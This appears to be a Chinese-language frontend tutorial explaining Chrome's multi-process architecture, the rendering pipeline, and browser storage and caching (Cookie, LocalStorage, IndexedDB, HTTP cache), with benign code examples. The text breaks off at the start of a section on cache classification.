浏览器前端指南

一、👑多进程架构

进程分类

想象一下:如果整个浏览器就是一个进程...

❌ 一个页面卡死 → 所有页面全崩

❌ 一个插件崩溃 → 整个浏览器GG

❌ 一个恶意脚本 → 可以访问你的系统文件

Chrome的解决方案是:每个页面都是独立的进程!

核心进程全家桶:

进程类型 负责什么 挂了的影响
浏览器主进程 界面显示、地址栏、书签、进程管理 ❌ 浏览器凉凉
渲染进程 HTML解析、CSS渲染、JS执行 ✅ 只影响当前Tab
GPU进程 3D绘制、硬件加速 ✅ 页面变卡,不崩
网络进程 资源加载、网络请求 ✅ 没法上网,其他OK
插件进程 Flash、PDF等 ✅ 插件崩溃,页面还在
存储进程 Cookie、缓存、书签等存储管理 ⚠️ 存储功能异常

高级视角:最新Chrome正在向"面向服务"架构演进,把网络、GPU等功能拆成独立的服务。这样做的好处是------未来在Chrome OS上,这些服务可以直接和操作系统深度集成!这就是架构的弹性💪

进程通信管道-IPC

不同进程之间如何协作?答案是IPC(Inter-Process Communication)

css 复制代码
【发送方】                    【接收方】
  进程A                         进程B
    │                            ↑
    │  ① 打包数据                 │
    │  (序列化)                   │
    │                            │
    │  ② 交给操作系统             │
    ├─────────────────────────────┤
    │  ③ 操作系统转发              │
    │  (内核空间)                  │
    │                            │
    │  ④ 接收方取件               │
    ↓                            │
  进程A                         进程B
    (等待)                      (处理数据)

当你在地址栏输入一个URL时:

  1. 浏览器进程 收到输入,通知网络进程去加载资源
  2. 网络进程 下载数据后,通过IPC传给渲染进程
  3. 渲染进程 解析渲染,通过IPC通知GPU进程加速绘制
  4. GPU进程把最终画面合成,显示在屏幕上

这种通信机制确保了各个进程既能协作,又保持隔离。

IPC同样会存在性能消耗,这也是多进程架构的缺点之一:

php 复制代码
// 在同一进程内调用
function add(a, b) {
  return a + b;
}
add(1, 2); // 纳秒级

// 跨进程调用(IPC)
IPC.send({
  to: 'other-process',
  type: 'ADD',
  payload: { a: 1, b: 2 }
});
// 微秒甚至毫秒级(慢1000倍!)

为什么慢?

  1. 序列化/反序列化:对象 ↔ 二进制
  2. 系统调用:用户态 ↔ 内核态切换
  3. 数据拷贝:从一个进程的内存拷到另一个
  4. 等待调度:接收方可能正忙

针对性能问题谷歌优化策略:

  1. 批量发送:多个小消息合并成大消息
  2. 共享内存:大数据用共享内存,IPC只传递指针
  3. 减少IPC次数:能在一个进程做的事,就别跨进程

二、🧭从输入URL到页面展示的完整流程

第一层(宏观):多进程协作

浏览器进程处理输入 → 网络进程发起请求 → 渲染进程解析渲染 → GPU进程合成显示

第二层(微观):导航流程

markdown 复制代码
1. 用户输入 → 2. 开始导航 → 3. 响应处理 → 4. 分配渲染进程 
→ 5. 提交导航 → 6. 确认提交 → 7. 更新界面

想象你在用高德地图:

  1. 你输入目的地 → 对应输入URL
  2. App规划路线、开始导航 → 对应浏览器开始导航
  3. 到达目的地 → 对应页面加载完成

所以"导航"就是:从你敲下回车,到页面开始渲染之间的所有步骤

导航的完整流程如下所示:

1️⃣用户输入

你在地址栏输入 www.baidu.com 并回车

浏览器会想:这是搜索关键词还是网址?

2️⃣开始导航

  • 浏览器进程通知网络进程:"嘿,去下载这个页面!"

3️⃣读取响应

网络进程收到服务器的响应头,看看返回的是什么:

  • HTML文件 → 继续
  • PDF文件 → 准备用PDF阅读器
  • 下载链接 → 直接下载

4️⃣寻找渲染进程

浏览器进程问自己:"这个页面应该让谁来渲染?"

  • 如果是新页面 → 创建新的渲染进程
  • 如果是同网站跳转 → 可能复用旧的渲染进程(节省内存)

5️⃣提交导航

  • 浏览器进程 告诉渲染进程:"准备接手,数据马上传给你!"
  • 然后通过IPC(进程间通信)把数据流传给渲染进程

6️⃣确认提交

  • 渲染进程开始接收HTML数据,同时告诉浏览器进程:"收到,我开始渲染了!"

7️⃣更新界面

浏览器进程更新:

  • 地址栏变成绿色🔒(如果是HTTPS)
  • 前进/后退按钮亮起来
  • 标签页上的加载动画停止

🔄 导航 vs 渲染 的区别

很多人搞混这两个概念:

css 复制代码
【导航流程】                【渲染流程】
输入网址  →  请求资源  →  解析HTML  →  构建DOM树  →  布局  →  绘制
   ↑              ↑            ↑
   └──────导航结束──────┘
   这时页面还是空白!       这时才开始看到内容
  • 导航结束时,页面还是空白的(因为还没开始渲染)
  • 等渲染完成,你才能看到内容。

第三层(渲染):渲染流水线

css 复制代码
【解析HTML】→【样式计算】→【布局】→【分层】→【绘制】→【合成】
    ↓            ↓        ↓       ↓      ↓       ↓
  DOM树        样式树    布局树   图层树  绘制指令 最终画面

三、🌍渲染进程:从字节到像素的奇幻旅程

渲染进程是前端代码的直接运行环境,它的内部是多线程架构:

scss 复制代码
┌─────────────────────────────────────────────────┐
│                   渲染进程                         │
├─────────────────────────────────────────────────┤
│  【主线程】              【合成器线程】              │
│  • GUI渲染线程           • 图层合成                 │
│  • JS引擎线程(V8)        • 滚动处理                 │
│  • 事件处理              • 帧生成                    │
├─────────────────────────────────────────────────┤
│  【工作线程】              【其他线程】              │
│  • Web Worker           • 定时器触发线程            │
│  • Service Worker       • 异步HTTP请求线程          │
└─────────────────────────────────────────────────┘

核心机制:为什么JS会卡住页面?🤔

最重要的一点:GUI渲染线程和JS引擎线程是互斥的!

javascript 复制代码
// 假设没有互斥
document.body.style.backgroundColor = 'red'; // JS修改DOM
// 如果此时渲染线程同时在绘制 → 画面撕裂!

这就是为什么耗时的JS任务会导致页面卡顿------JS长时间占用主线程,渲染无法进行。

长任务(Long Task)超过50ms,用户就能感知到卡顿!

渲染定义

渲染 = 浏览器把 HTML/CSS/JS 转换成 屏幕上的像素 的过程

整个过程分为6个核心阶段

css 复制代码
【解析HTML】→【样式计算】→【布局】→【分层】→【绘制】→【合成】
    ↓            ↓        ↓       ↓      ↓       ↓
  DOM树        样式树    布局树   图层树  绘制指令 最终画面

每个阶段都是下一个阶段的输入,像工厂流水线一样 🏭

六大阶段

📦 第一阶段:解析HTML(Parser)

1. 字节 → DOM树

当你请求一个HTML文件,浏览器拿到的是二进制字节流

less 复制代码
字节: 3C 62 6F 64 79 3E 3C 64 69 76 3E ...
  ↓
字符: <body><div>Hello</div></body>
  ↓
令牌: StartTag:body, StartTag:div, Text:Hello, EndTag:div, EndTag:body
  ↓
节点: body元素, div元素, 文本节点
  ↓
DOM树: 
      html
       │
     body
       │
      div
       │
    "Hello"

2. 关键机制:预加载扫描器

HTML解析器不是单线程工作的!

html 复制代码
<!-- 浏览器解析到这里时 -->
<link rel="stylesheet" href="style.css">
<img src="image.jpg">

<!-- 预加载扫描器已经提前发现了这两个资源 -->
<!-- 不等主解析器处理,直接开始下载 -->

预加载扫描器(Preload Scanner):

  • 主解析器工作的同时,在后台扫描
  • 提前发现<img><link><script>等资源
  • 立即开始下载,节省时间

3. 阻塞机制

html 复制代码
<!-- 情况1:普通script -->
<script src="app.js"></script>
<!-- 解析到这里会暂停,下载并执行完app.js才继续 -->

<!-- 情况2:async script -->
<script async src="app.js"></script>
<!-- 下载不阻塞,下载完成后立即执行(可能中断解析)-->

<!-- 情况3:defer script -->
<script defer src="app.js"></script>
<!-- 下载不阻塞,解析完成后才执行 -->

<!-- 情况4:CSS + script -->
<link rel="stylesheet" href="style.css">
<script src="app.js"></script>
<!-- script会等待CSS下载完成!因为JS可能依赖CSS样式 -->

⚡ CSS会阻塞后续JS的执行,但不会阻塞DOM的解析

🎨 第二阶段:样式计算(Style)

1. 从CSS到样式树

浏览器拿到CSS后:

  1. 解析CSS:同样转换成CSSOM树
  2. 匹配选择器:找出每个DOM节点对应的样式
  3. 计算最终样式:处理继承、层叠

2. 选择器匹配的坑

浏览器匹配选择器是从右向左的!

css 复制代码
/* 选择器:.container .text */
.container .text { color: red; }

/* 匹配过程(从右向左):
   1. 找到所有 class="text" 的元素
   2. 检查它们的父级是否有 class="container"
   
   这样效率更高!因为符合条件的.text通常比.container少
*/

性能坑点

css 复制代码
/* ❌ 不好的写法:太复杂 */
body div.container ul li a.highlight { ... }

/* ✅ 好的写法:尽量简单 */
.highlight { ... }

3. 样式计算的复杂度

一个元素最终样式 = 所有匹配规则 + 继承属性 + 默认样式

css 复制代码
/* 多个规则可能匹配同一个元素 */
div { color: blue; }                    /* 1. 标签选择器 */
.container div { color: red; }           /* 2. 后代选择器 */
#main div { color: green; }              /* 3. ID选择器 */

/* 浏览器要计算优先级:
   ID > 类 > 标签
   最终使用绿色
*/

📐 第三阶段:布局(Layout)

1. 计算几何信息

现在我们知道:

  • 每个元素是什么(DOM树)
  • 每个元素长什么样(样式树)

布局阶段要计算

  • 元素在屏幕上的位置(x, y坐标)
  • 元素的尺寸(width, height)

2. 布局对象

布局树和DOM树不是一一对应的

html 复制代码
<!-- DOM树中有这个元素 -->
<div style="display: none;">隐藏的内容</div>
<!-- 布局树中没有!因为不占位置 -->

<!-- DOM树中是一个元素 -->
<p>Hello <span>World</span></p>
<!-- 布局树中可能分成多个布局对象(因为文本流)-->

3. 全局布局 vs 局部布局

触发全局布局(代价最高):

  • 修改窗口大小
  • 修改font-family
  • 添加/删除整个DOM树

触发局部布局(代价较低):

  • 修改单个元素的padding
  • 修改单个元素的border

4. 强制同步布局的坑

javascript 复制代码
// ❌ 不好的写法:反复强制布局
div.style.width = '100px';
const width1 = div.offsetWidth;  // 1. 强制布局!

div.style.height = '200px';
const height1 = div.offsetHeight; // 2. 又强制布局!

div.style.margin = '10px';
const width2 = div.offsetWidth;  // 3. 再次强制布局!

// ✅ 好的写法:读写分离
div.style.width = '100px';
div.style.height = '200px';
div.style.margin = '10px';

// 统一读取
const { width, height } = div.getBoundingClientRect();

浏览器的困境

  • 小本本上记着"width要改成100px"
  • 但还没真正应用(因为想等批量执行)
  • 可现在JS代码立刻就要最新的宽度!

浏览器只能

  1. 暂停优化
  2. 立即清空渲染队列(把所有修改应用到页面上)
  3. 重新计算布局
  4. 返回最新的准确值

这就是"强制同步布局"(Forced Synchronous Layout)!

🧩 第四阶段:分层(Layer)

1. 为什么需要分层?

想象一下用Photoshop:

  • 背景是一个图层
  • 人物是一个图层
  • 文字是一个图层

修改人物时,只需要重绘人物图层,背景和文字不变!

浏览器也是同理:

css 复制代码
/* 这个元素会独立成层吗? */
.animated {
  transform: translateX(100px);  /* 会!transform动画需要独立层 */
  opacity: 0.5;                   /* 会!透明度变化也需要独立层 */
}

2. 什么情况会创建新层?

自动创建

  • 3D变换:transform: translate3d()
  • will-change属性
  • <video><canvas><iframe>
  • 有重叠元素的复杂场景

手动提示

css 复制代码
.element {
  will-change: transform, opacity;
  /* 告诉浏览器:我要变了,提前给我单独一层 */
}

3. 层爆炸(Layer Explosion)

滥用will-change的后果

css 复制代码
/* ❌ 危险!给所有元素都加 */
* {
  will-change: transform;
}
/* 每个元素都独立成层 → 内存飙升 → 页面卡死 */

层的成本

  • 每个层占用内存(几百KB到几MB)
  • 合成器要管理所有层
  • GPU要处理所有层

🖌️ 第五阶段:绘制(Paint)

1. 绘制指令

分层完成后,每个层都有自己的绘制指令:

markdown 复制代码
【图层:导航栏】
1. 绘制背景:矩形(0,0,800,60) 颜色#333
2. 绘制Logo:图片(20,10,100,40)
3. 绘制文字:"首页" (120,25) 字体16px 白色

【图层:内容区】
1. 绘制背景:矩形(0,60,800,540) 颜色#fff
2. 绘制段落:(50,100) 文字内容...

这些指令不是像素,而是绘图操作

2. 绘制顺序

绘制遵循"先背景后前景"的顺序:

  1. 背景颜色
  2. 背景图片
  3. 边框
  4. 内容(文字、子元素)
  5. 轮廓(outline)

3. 重绘(Repaint)

当修改不影响布局的属性时触发:

  • color
  • background-color
  • box-shadow
  • outline

重绘不需要重新布局,但仍然要重新生成绘制指令

🎬 第六阶段:合成(Composite)

1. 合成器线程

关键点 :合成器线程是独立于主线程的!

python 复制代码
【主线程】                【合成器线程】
  ↓                            ↓
布局、绘制 ←─────IPC──────→ 图层合成
  ↓                            ↓
JS执行                       滚动处理
  ↓                            ↓
...                          帧生成

2. 合成过程

  1. 接收图层:拿到所有图层的绘制指令
  2. 分块:把大图层切成小图块(tiles)
  3. 光栅化:把图块转换成位图(像素)
  4. 合成:把所有图层组合成最终画面
  5. 送显:通过GPU显示在屏幕上

3. 合成器动画的秘密

为什么transform动画这么流畅?

css 复制代码
/* ❌ 普通动画 */
@keyframes move-left {
  from { left: 0; }
  to { left: 100px; }
}

/* 每一帧:布局 → 绘制 → 合成 → 占用主线程 → 可能卡顿 */
css 复制代码
/* ✅ 合成器动画 */
@keyframes move-transform {
  from { transform: translateX(0); }
  to { transform: translateX(100px); }
}

/* 每一帧:只触发射合 → 不占用主线程 → GPU加速 → 流畅! */

三种更新方式

  1. 全量更新(最慢)

    JS修改 → 布局 → 绘制 → 合成

  2. 部分更新(中等)

    JS修改 → 绘制 → 合成
    (不触发布局,如改颜色)

  3. 合成更新(最快)

css 复制代码
JS修改 → 合成
(只改transform/opacity)

渲染优化

阶段 优化目标 具体策略
解析 减少阻塞 使用async/defer、内联关键CSS、预加载关键资源
样式 减少计算 避免复杂选择器、减少DOM变化、使用CSS containment
布局 减少触发 读写分离、使用transform代替位置属性、避免强制同步布局
分层 合理分层 只在必要时用will-change、避免层爆炸
绘制 减少绘制 使用transform/opacity做动画、减少绘制区域
合成 利用GPU 开启硬件加速、减少合成层数量

如何确定一个动画是合成器动画?

在DevTools中:

  1. 打开Performance面板
  2. 录制动画
  3. 看Main线程是否有布局/绘制事件
  4. 如果没有,就是合成器动画

渲染过程中有哪些"阻塞"?

  • 解析阻塞:普通script
  • 渲染阻塞:CSS(因为CSSOM未构建完成前不会渲染)
  • 执行阻塞:JS执行时,渲染挂起

四、📦缓存进程:Chrome里的"仓库管理员"

在Chrome的多进程架构中,有一个专门负责存储管理的进程,叫做缓存进程(Storage Service)存储服务进程

markdown 复制代码
┌─────────────────────────────────────────────────────┐
│                    浏览器进程                         │
│  (界面管理、进程调度)                                 │
└──────────────────┬──────────────────────────────────┘
                    │ IPC通信
    ┌───────────────┼───────────────┐
    ↓               ↓               ↓
┌───────────┐  ┌───────────┐  ┌───────────┐
│渲染进程组  │  │ 网络进程  │  │ 缓存进程  │ ← 我们今天的主角!
└───────────┘  └───────────┘  └───────────┘
                                    │
                    ┌───────────────┼───────────────┐
                    ↓               ↓               ↓
                ┌───────┐      ┌───────┐      ┌───────┐
                │ HTTP  │      │ Cookie│      │Indexed│
                │ 缓存  │      │       │      │  DB   │
                └───────┘      └───────┘      └───────┘

缓存进程是从浏览器主进程中分离出来的独立服务。这样做的好处是:

  • 职责单一:专注管理所有存储相关任务
  • 稳定性:即使缓存进程出问题,也不影响浏览器主进程
  • 安全性:存储数据与其他进程隔离

存储分类

缓存进程不是只管一个仓库,而是管理多种类型的存储:

1️⃣ HTTP缓存(最重要的仓库)

HTTP缓存又分为两种:

缓存类型 存储位置 特点 生命周期
内存缓存 RAM(内存) 读取最快,容量有限 浏览器关闭后消失
磁盘缓存 硬盘 容量大,持久化 跨会话保留

在DevTools中看到的就是

  • 200 OK (from memory cache) → 从内存缓存读取
  • 200 OK (from disk cache) → 从磁盘缓存读取

存储位置主要考虑以下因素:

  1. 资源大小

    • 小文件(如图标、小脚本)→ 倾向内存缓存
    • 大文件(如视频、大图)→ 倾向磁盘缓存
  2. 访问频率

    • 频繁访问的资源 → 可能提升到内存缓存
    • 一次性资源 → 直接磁盘或丢弃
  3. 资源类型

    • 脚本、样式、字体 → 可能内存缓存
    • HTML文档、大图片 → 磁盘缓存
  4. 内存压力

    • 系统内存充足 → 多放内存
    • 内存紧张 → 尽量放磁盘

2️⃣ Blink缓存(渲染引擎的私有仓库)

这是Blink渲染引擎内部的缓存,主要用于:

  • 解析后的CSSOM树
  • 解析后的DOM树片段
  • 图片解码后的数据

特点:页面级别缓存,生命周期短,主要用于加速同页面内的重复访问。

3️⃣ 其他存储(Cookie、LocalStorage、IndexedDB)

🍪 1. Cookie - 浏览器存储的"老前辈"

Cookie是1994年诞生的老技术,最初是为了解决"HTTP无状态"的问题------服务器怎么知道请求来自同一个用户?

http 复制代码
HTTP请求本来是这样的:
GET /index.html
→ 服务器不认识你是谁

有了Cookie:
GET /index.html
Cookie: sessionId=abc123
→ 服务器一看:哦,是老用户abc123啊!

Cookie的存储机制:

  • 存储位置:硬盘(持久化存储)
  • 存储格式:键值对文本
ini 复制代码
name=zhangsan; age=25; sessionId=abc123

大小限制

  • 单个Cookie大小 ≤ 4KB
  • 每个域名下Cookie数量 ≤ 20个(不同浏览器略有差异)
  • 总大小 ≤ 4KB × 20 = 80KB

Cookie的构成要素

一个完整的Cookie包含:

http 复制代码
Set-Cookie: sessionId=abc123; 
            expires=Wed, 21 Oct 2025 07:28:00 GMT;  # 过期时间
            path=/;                                   # 作用路径
            domain=.example.com;                      # 作用域名
            Secure;                                   # 仅HTTPS发送
            HttpOnly;                                 # 禁止JS访问
            SameSite=Lax                              # 跨站策略

Cookie的生命周期

类型 设置方式 存储位置 清除时机
会话Cookie 不设置expires/max-age 内存 关闭浏览器
持久化Cookie 设置expires/max-age 硬盘 到达过期时间

Cookie的发送机制

每次HTTP请求,浏览器都会自动携带符合条件的Cookie:

javascript 复制代码
// 你啥也不用做,浏览器自动处理
fetch('https://api.example.com/user')
// 请求头自动带上:
// Cookie: sessionId=abc123; name=zhangsan

性能坑点:Cookie会随着每个请求发送(包括图片、CSS等静态资源)!

html 复制代码
<!-- 每个请求都会带上Cookie,增加流量开销 -->
<img src="image.jpg">  <!-- 请求头也有Cookie -->
<link rel="stylesheet" href="style.css">  <!-- 也有Cookie -->

Cookie的安全属性

属性 作用 示例
Secure 仅HTTPS发送 Secure
HttpOnly 禁止JS访问(防XSS) HttpOnly
SameSite 控制跨站发送 SameSite=Strict/Lax/None
Domain 限制域名 Domain=example.com
Path 限制路径 Path=/api

前端操作Cookie

javascript 复制代码
// 设置
document.cookie = "name=zhangsan; path=/; max-age=3600";

// 读取(返回所有Cookie字符串)
console.log(document.cookie); // "name=zhangsan; age=25"

// 删除(设置过期时间为过去)
document.cookie = "name=; expires=Thu, 01 Jan 1970 00:00:00 GMT";

坑点document.cookie API非常原始,只能一次性操作所有Cookie!

📦 LocalStorage - 简单好用的"大仓库"

HTML5时代推出的新存储方案,专门解决Cookie存储空间小、携带流量的问题。

  • 存储位置:硬盘(持久化)
  • 大小限制5-10MB(每个域名)

特点

  • ✅ 数据永久保存,除非手动清除
  • ✅ 不随HTTP请求发送
  • ✅ API简单易用
  • ❌ 只能存字符串
  • ❌ 同步操作,可能阻塞主线程
javascript 复制代码
// 增/改
localStorage.setItem('name', 'zhangsan');
localStorage.setItem('age', '25');  // 注意:只能是字符串!

// 查
const name = localStorage.getItem('name'); // "zhangsan"

// 删单个
localStorage.removeItem('name');

// 清空所有
localStorage.clear();

// 获取数量
console.log(localStorage.length); // 1

// 遍历
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  const value = localStorage.getItem(key);
  console.log(`${key}: ${value}`);
}

存储复杂数据

javascript 复制代码
// ❌ 直接存对象
localStorage.setItem('user', { name: 'zhangsan' }); 
// 变成 "[object Object]"!

// ✅ 需要序列化
const user = { name: 'zhangsan', age: 25 };
localStorage.setItem('user', JSON.stringify(user));

// 读取时反序列化
const userStr = localStorage.getItem('user');
const userObj = JSON.parse(userStr); // { name: 'zhangsan', age: 25 }

同步操作的坑

javascript 复制代码
// LocalStorage是同步的!
localStorage.setItem('bigData', hugeString); // 如果数据很大,会卡住主线程

console.log('这行要等上面存完才执行'); // 阻塞!

性能坑点:存储大对象(几百KB以上)时,可能导致页面卡顿!

事件监听

LocalStorage还提供了storage事件,可以在其他标签页监听变化:

javascript 复制代码
// 页面A
localStorage.setItem('theme', 'dark');

// 页面B(同一个域名下)
window.addEventListener('storage', (event) => {
  console.log('key:', event.key);      // "theme"
  console.log('oldValue:', event.oldValue); // "light"
  console.log('newValue:', event.newValue); // "dark"
  console.log('url:', event.url);       // 哪个页面改的
});

注意 :只有其他标签页会触发,修改自己的页面不会触发!

🗄️ IndexedDB - 浏览器里的"数据库"

IndexedDB是浏览器提供的NoSQL数据库,可以存储大量结构化数据。

  • 存储位置:硬盘
  • 大小限制通常 ≥ 250MB(取决于硬盘空间,可请求用户授权增加)

特点

  • ✅ 存储容量大(几百MB甚至GB级)
  • ✅ 支持索引和事务
  • ✅ 异步操作(不阻塞主线程)
  • ✅ 支持存储Blob、File等二进制数据
  • ❌ API复杂(但可以用库简化)
  • ❌ 学习成本高
概念 类比SQL 说明
数据库 Database 整个应用一个库
对象仓库 Table 存同一类数据的集合
索引 Index 加速查询
事务 Transaction 保证数据一致性
游标 Cursor 遍历数据
javascript 复制代码
// 1. 打开数据库
const request = indexedDB.open('MyAppDB', 1); // 版本号1

// 2. 首次创建或版本升级时触发
request.onupgradeneeded = (event) => {
  const db = event.target.result;
  
  // 创建对象仓库(类似表)
  const userStore = db.createObjectStore('users', { 
    keyPath: 'id',        // 主键
    autoIncrement: true   // 自增
  });
  
  // 创建索引(加速查询)
  userStore.createIndex('nameIdx', 'name', { unique: false });
  userStore.createIndex('emailIdx', 'email', { unique: true });
};

// 3. 成功打开
request.onsuccess = (event) => {
  const db = event.target.result;
  
  // 增:添加数据
  const transaction = db.transaction(['users'], 'readwrite');
  const store = transaction.objectStore('users');
  
  store.add({
    name: '张三',
    email: 'zhangsan@example.com',
    age: 25
  });
  
  // 查:通过索引查询
  const index = store.index('nameIdx');
  const getRequest = index.get('张三');
  
  getRequest.onsuccess = (e) => {
    console.log('找到用户:', e.target.result);
  };
  
  // 事务完成
  transaction.oncomplete = () => {
    console.log('事务完成');
    db.close();
  };
};

// 4. 错误处理
request.onerror = (event) => {
  console.error('数据库打开失败:', event.target.error);
};

使用游标遍历

javascript 复制代码
const transaction = db.transaction(['users'], 'readonly');
const store = transaction.objectStore('users');
const cursorRequest = store.openCursor();

cursorRequest.onsuccess = (event) => {
  const cursor = event.target.result;
  
  if (cursor) {
    console.log('当前记录:', cursor.value);
    cursor.continue(); // 继续下一条
  } else {
    console.log('遍历完成');
  }
};

原生IndexedDB API太复杂,实际项目中常用封装库:

Dexie.js(推荐)

javascript 复制代码
import Dexie from 'dexie';

const db = new Dexie('MyAppDB');
db.version(1).stores({
  users: '++id, name, email, age' // ++id表示自增主键
});

// 增
await db.users.add({ name: '张三', email: 'zs@example.com', age: 25 });

// 查
const users = await db.users.where('age').above(18).toArray();

// 改
await db.users.update(1, { age: 26 });

// 删
await db.users.delete(1);

localForage(更轻量)

javascript 复制代码
import localForage from 'localforage';

localForage.setItem('user', { name: '张三' });
const user = await localForage.getItem('user');

核心参数对比

特性 Cookie LocalStorage IndexedDB
容量 ~4KB ~5-10MB ≥250MB (可更大)
存储位置 硬盘 硬盘 硬盘
数据类型 字符串 字符串 结构化数据、二进制
操作 同步 同步 异步
API复杂度 简单 非常简单 复杂
作用域 指定路径/域名 同源 同源
发送到服务器 ✅ 自动发送
过期时间 ✅ 可设置 ❌ 永久 ❌ 永久
事务支持
索引支持
搜索能力 支持范围查询

性能对比

javascript 复制代码
// Cookie:每次请求都带上
// 100KB Cookie × 100个请求 = 10MB流量浪费!

// LocalStorage:同步操作
console.time('localStorage');
localStorage.setItem('key', 'value'); 
console.timeEnd('localStorage'); // ~0.1ms(但大数据会卡)

// IndexedDB:异步操作
console.time('indexedDB');
await db.users.add({ name: '张三' });
console.timeEnd('indexedDB'); // ~1ms(不阻塞主线程)

安全对比

存储方式 XSS风险 CSRF风险 建议
Cookie HttpOnly可防 有风险 存sessionId,加SameSite
LocalStorage 高(JS可直接读) 不存敏感信息
IndexedDB 高(JS可直接读) 不存敏感信息

敏感信息 :token、密码、身份证号等 → 都不要存!要用HttpOnly Cookie

Cookie的最佳实践

javascript 复制代码
// ✅ 适合的场景:身份认证
document.cookie = "sessionId=abc123; path=/; Secure; HttpOnly; SameSite=Lax";

// ❌ 不适合:存用户资料、偏好设置
document.cookie = "theme=dark"; // 浪费流量,应该用LocalStorage

优化技巧

  • 静态资源域名和API域名分开(避免携带Cookie)
  • 设置合适的过期时间
  • 敏感信息必须加HttpOnly

LocalStorage的最佳实践

javascript 复制代码
// ✅ 适合的场景
localStorage.setItem('theme', 'dark');           // 主题偏好
localStorage.setItem('userSettings', JSON.stringify(settings)); // 用户设置
localStorage.setItem('cartItems', JSON.stringify(cart)); // 购物车(小数据)

// ❌ 不适合
localStorage.setItem('products', JSON.stringify(products)); // 几千条商品数据 → 用IndexedDB
localStorage.setItem('accessToken', token); // 敏感信息 → 用Cookie(HttpOnly)

优化技巧

  • 封装读写逻辑,自动序列化/反序列化
  • 大数据考虑压缩
  • 监听storage事件实现多标签同步

IndexedDB的最佳实践

javascript 复制代码
// ✅ 适合的场景
// 1. 离线应用数据
const offlinePosts = await fetch('/api/posts');
await db.posts.bulkAdd(offlinePosts);

// 2. 大文件缓存
const response = await fetch('/videos/big.mp4');
const blob = await response.blob();
await db.videos.add({ id: 'big.mp4', data: blob });

// 3. 用户生成的内容
await db.notes.add({
  title: '我的笔记',
  content: '...',
  attachments: fileBlob,
  createdAt: new Date()
});

优化技巧

  • 合理创建索引,加速查询
  • 使用事务保证数据一致性
  • 及时关闭数据库连接
  • 考虑使用Dexie.js等库简化操作

一句话总结:Cookie用于身份认证,LocalStorage用于简单配置,IndexedDB用于大量结构化数据------三者配合,天下无敌!🚀

缓存进程工作流

当你在浏览器中访问一个页面时,缓存进程是这样工作的:

bash 复制代码
【用户访问网站 example.com/index.html】

第1步:渲染进程需要这个HTML文件
    ↓
第2步:渲染进程通过IPC问缓存进程:"有index.html的缓存吗?"
    ↓
第3步:缓存进程检查自己的"账本":
    ├─ 内存缓存有吗?→ 有就直接返回
    └─ 内存缓存没有 → 查磁盘缓存
        ├─ 磁盘缓存有且未过期 → 加载返回
        └─ 磁盘缓存没有/已过期 → 告诉渲染进程:"去网络下载吧"
    ↓
第4步:如果需要网络请求,网络进程下载资源后,会交给缓存进程
    ↓
第5步:缓存进程决定:
    ├─ 这个资源适合放内存吗?(小文件、频繁访问)
    └─ 还是放磁盘?(大文件、持久化)
    ↓
第6步:缓存进程更新"账本",下次访问可以直接用

资源请求的完整路径渲染进程 → Blink缓存 → (可能)浏览器进程 → 网络进程 → HTTP缓存(内存/磁盘)

文件存储位置

  1. Windows系统

Chrome的磁盘缓存默认位置:

sql 复制代码
C:\Users\[你的用户名]\AppData\Local\Google\Chrome\User Data\Default\Cache\

里面是一堆没有扩展名的文件,文件名是哈希值,直接打开是乱码------因为Chrome对缓存文件做了特殊处理。

  1. macOS系统
bash 复制代码
/var/folders/.../T/UserData/Default/Cache/
  1. Linux系统
bash 复制代码
/tmp/UserData/Default/Cache/

高级技巧:可以通过命令行修改缓存位置(比如移到D盘):

bash 复制代码
mklink /D "C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Cache" "D:\ChromeCache"

这样可以把缓存移到空间更大的硬盘!

三级缓存原理

markdown 复制代码
【访问流程】
1. 先去内存看 → 有就直接用 (最快)
2. 内存没有 → 去磁盘看 → 有就直接用 (较快)
3. 磁盘也没有 → 发起网络请求 (慢)

【缓存更新流程】
网络请求到的资源 → 先存磁盘 → 可能同时放内存(根据策略)

经典现象(以图片为例):

  1. 第一次访问 → 200 OK(从网络加载)
  2. 关闭浏览器再打开 → 200 OK (from disk cache)(从磁盘加载)
  3. 刷新页面 → 200 OK (from memory cache)(从内存加载)

优化机制

  1. 预加载扫描器配合

还记得之前讲的预加载扫描器吗?它和缓存进程是"好基友":

html 复制代码
<!-- 预加载扫描器提前发现资源 -->
<link rel="stylesheet" href="style.css">
<img src="hero-image.jpg">
<script src="app.js"></script>

<!-- 扫描器会: -->
<!-- 1. 提前通知网络进程下载这些资源 -->
<!-- 2. 下载完成后,缓存进程立即存储 -->
<!-- 3. 等主解析器处理到这些标签时,缓存里已经有了! -->
  1. 往返缓存(bfcache)

这是一个特殊的缓存策略,在任务管理器中可能看到"往返缓存版页面":

  • 作用 :当用户点击后退/前进按钮时,可以瞬时加载页面
  • 原理:把整个页面(包括JS状态)冻结在内存里
  • 效果:比普通缓存快得多,几乎感觉不到加载

缓存优化

  1. 设置合理的HTTP缓存头
nginx 复制代码
# 强缓存:浏览器直接读缓存,不请求服务器
Cache-Control: max-age=31536000  # 缓存1年

# 协商缓存:每次都要问服务器,但服务器可能返回304
Cache-Control: no-cache
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT
  1. 资源版本管理
html 复制代码
<!-- 不好的做法:覆盖式发布 -->
<link rel="stylesheet" href="style.css">

<!-- 好的做法:文件名带哈希,非覆盖式发布 -->
<link rel="stylesheet" href="style.a1b2c3.css">

部署策略

  1. 先部署静态资源(新的哈希文件名)
  2. 再部署HTML页面(引用新的哈希)
  3. 新旧文件共存,不会出现中间态错乱
  4. 使用Cache API(Service Worker)
javascript 复制代码
// Service Worker中手动控制缓存
self.addEventListener('fetch', event => {
  event.respondWith(
    caches.open('my-cache').then(cache => {
      return cache.match(event.request).then(response => {
        return response || fetch(event.request).then(networkResponse => {
          cache.put(event.request, networkResponse.clone());
          return networkResponse;
        });
      });
    })
  );
});

五、🌍浏览器的缓存机制

想象一下:没有缓存的世界

erlang 复制代码
第一次访问:下载 2MB 资源 → 2秒
第二次访问:重新下载 2MB 资源 → 2秒
第三次访问:重新下载 2MB 资源 → 2秒
...
第100次访问:还是 2MB → 永远2秒!

有缓存的世界 ✨

erlang 复制代码
第一次访问:下载 2MB 资源 → 2秒(存起来)
第二次访问:直接从缓存读 → 20毫秒
第三次访问:直接从缓存读 → 20毫秒
...
第100次访问:还是20毫秒!

缓存的核心价值:减少请求、节省带宽、加速加载!

缓存分类全景图

浏览器缓存分为两大类:

sql 复制代码
【浏览器缓存】
